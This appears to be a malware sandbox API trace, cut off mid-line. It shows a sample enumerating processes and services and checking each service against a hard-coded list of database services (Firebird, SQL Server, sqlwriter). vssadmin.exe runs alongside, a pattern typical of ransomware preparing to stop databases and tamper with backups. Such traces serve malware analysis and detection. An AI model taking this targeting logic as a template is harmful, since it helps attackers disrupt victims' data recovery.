[0125.367] lstrlenW (lpString="predictions_took.exe") returned 20 [0125.367] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="carry_dns.exe")) returned 1 [0125.368] lstrlenW (lpString="carry_dns.exe") returned 13 [0125.368] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="SauvegardeProjet.exe")) returned 1 [0125.368] lstrlenW (lpString="SauvegardeProjet.exe") returned 20 [0125.368] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.369] lstrlenW (lpString="svchost.exe") returned 11 [0125.369] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0125.370] lstrlenW (lpString="sppsvc.exe") returned 10 [0125.370] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.371] lstrlenW (lpString="svchost.exe") returned 11 [0125.371] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0125.371] lstrlenW (lpString="msiexec.exe") returned 11 [0125.372] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xad4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0125.372] lstrlenW (lpString="cmd.exe") returned 7 [0125.372] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0125.373] lstrlenW (lpString="conhost.exe") returned 11 [0125.373] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0125.373] lstrlenW (lpString="vssadmin.exe") returned 12 [0125.374] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0125.374] lstrlenW (lpString="VSSVC.exe") returned 9 [0125.374] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0125.375] lstrlenW (lpString="svchost.exe") returned 11 [0125.375] Process32NextW (in: hSnapshot=0x204, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0125.376] CloseHandle (hObject=0x204) returned 1 [0125.376] Sleep (dwMilliseconds=0x1f4) [0126.549] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x52ea80 [0126.550] EnumServicesStatusExW (in: hSCManager=0x52ea80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 0 [0126.550] GetLastError () returned 0xea [0126.550] EnumServicesStatusExW (in: hSCManager=0x52ea80, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x31775a8, cbBufSize=0x1484, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x31775a8, pcbBytesNeeded=0x37febc, lpServicesReturned=0x37fed4, lpResumeHandle=0x0) returned 1 [0126.555] CloseServiceHandle (hSCObject=0x52ea80) returned 1 [0126.555] lstrlenW (lpString="Appinfo") returned 7 [0126.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0126.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0126.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0126.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0126.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0126.555] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0126.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0126.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0126.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0126.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0126.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0126.555] lstrlenW (lpString="AudioSrv") returned 8 [0126.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0126.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0126.555] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0126.555] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0126.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0126.555] lstrlenW (lpString="BFE") returned 3 [0126.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0126.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0126.555] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0126.555] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0126.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0126.555] lstrlenW (lpString="CryptSvc") returned 8 [0126.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0126.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0126.555] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0126.555] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0126.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0126.556] lstrlenW (lpString="CscService") returned 10 [0126.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0126.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0126.556] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0126.556] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0126.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0126.556] lstrlenW (lpString="DcomLaunch") returned 10 [0126.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0126.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0126.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0126.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0126.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0126.556] lstrlenW (lpString="Dhcp") returned 4 [0126.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0126.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0126.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0126.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0126.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0126.556] lstrlenW (lpString="Dnscache") returned 8 [0126.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0126.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0126.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0126.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0126.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0126.556] lstrlenW (lpString="DPS") returned 3 [0126.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0126.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0126.556] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0126.556] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0126.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0126.556] lstrlenW (lpString="eventlog") returned 8 [0126.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0126.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0126.556] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0126.556] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0126.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0126.556] lstrlenW (lpString="EventSystem") returned 11 [0126.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0126.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0126.557] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0126.557] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0126.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0126.557] lstrlenW (lpString="FontCache") returned 9 [0126.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0126.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0126.557] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0126.557] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0126.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0126.557] lstrlenW (lpString="gpsvc") returned 5 [0126.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0126.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0126.557] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0126.557] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0126.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0126.557] lstrlenW (lpString="iphlpsvc") returned 8 [0126.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0126.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0126.557] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0126.557] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0126.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0126.557] lstrlenW (lpString="LanmanServer") returned 12 [0126.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0126.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0126.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0126.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0126.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0126.557] lstrlenW (lpString="LanmanWorkstation") returned 17 [0126.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0126.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0126.557] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0126.557] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0126.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0126.557] lstrlenW (lpString="lmhosts") returned 7 [0126.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0126.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0126.557] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0126.557] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0126.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0126.558] lstrlenW (lpString="MMCSS") returned 5 [0126.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0126.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0126.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0126.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0126.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0126.558] lstrlenW (lpString="MpsSvc") returned 6 [0126.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0126.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0126.558] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0126.558] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0126.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0126.558] lstrlenW (lpString="Netman") returned 6 [0126.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0126.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0126.558] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0126.558] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0126.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0126.558] lstrlenW (lpString="netprofm") returned 8 [0126.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0126.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0126.558] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0126.558] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0126.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0126.558] lstrlenW (lpString="NlaSvc") returned 6 [0126.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0126.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0126.558] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0126.558] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0126.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0126.558] lstrlenW (lpString="nsi") returned 3 [0126.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0126.558] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0126.558] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0126.558] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0126.558] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0126.558] lstrlenW (lpString="PcaSvc") returned 6 [0126.558] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0126.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0126.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0126.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0126.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0126.559] lstrlenW (lpString="PlugPlay") returned 8 [0126.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0126.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0126.559] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0126.559] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0126.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0126.559] lstrlenW (lpString="Power") returned 5 [0126.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0126.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0126.559] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0126.559] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0126.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0126.559] lstrlenW (lpString="ProfSvc") returned 7 [0126.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0126.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0126.559] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0126.559] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0126.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0126.559] lstrlenW (lpString="RpcEptMapper") returned 12 [0126.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0126.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0126.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0126.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0126.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0126.559] lstrlenW (lpString="RpcSs") returned 5 [0126.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0126.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0126.559] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0126.559] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0126.559] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0126.559] lstrlenW (lpString="SamSs") returned 5 [0126.559] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0126.559] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0126.559] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0126.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0126.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0126.560] lstrlenW (lpString="Schedule") returned 8 [0126.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0126.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0126.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0126.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0126.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0126.560] lstrlenW (lpString="SENS") returned 4 [0126.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0126.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0126.560] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0126.560] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0126.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0126.560] lstrlenW (lpString="ShellHWDetection") returned 16 [0126.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0126.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0126.560] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0126.560] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0126.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0126.560] lstrlenW (lpString="Spooler") returned 7 [0126.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0126.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0126.560] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0126.560] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0126.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0126.560] lstrlenW (lpString="sppsvc") returned 6 [0126.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0126.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0126.560] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0126.560] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0126.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0126.560] lstrlenW (lpString="swprv") returned 5 [0126.560] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0126.560] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0126.560] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0126.560] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0126.560] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0126.560] lstrlenW (lpString="SysMain") returned 7 [0126.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0126.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0126.561] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0126.561] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0126.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0126.561] lstrlenW (lpString="Themes") returned 6 [0126.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0126.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0126.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0126.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0126.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0126.561] lstrlenW (lpString="TrkWks") returned 6 [0126.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0126.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0126.561] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0126.561] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0126.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0126.561] lstrlenW (lpString="UxSms") returned 5 [0126.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0126.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0126.561] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0126.561] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0126.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0126.561] lstrlenW (lpString="VSS") returned 3 [0126.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0126.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0126.561] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0126.561] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0126.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0126.561] lstrlenW (lpString="W32Time") returned 7 [0126.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="W32Time") returned -1 [0126.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="W32Time") returned -1 [0126.561] lstrcmpiW (lpString1="sqlwriter", lpString2="W32Time") returned -1 [0126.561] lstrcmpiW (lpString1="mssqlserver", lpString2="W32Time") returned -1 [0126.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="W32Time") returned -1 [0126.561] lstrlenW (lpString="WdiServiceHost") returned 14 [0126.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0126.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0126.561] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0126.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0126.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0126.562] lstrlenW (lpString="WdiSystemHost") returned 13 [0126.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0126.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0126.562] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0126.562] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0126.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0126.562] lstrlenW 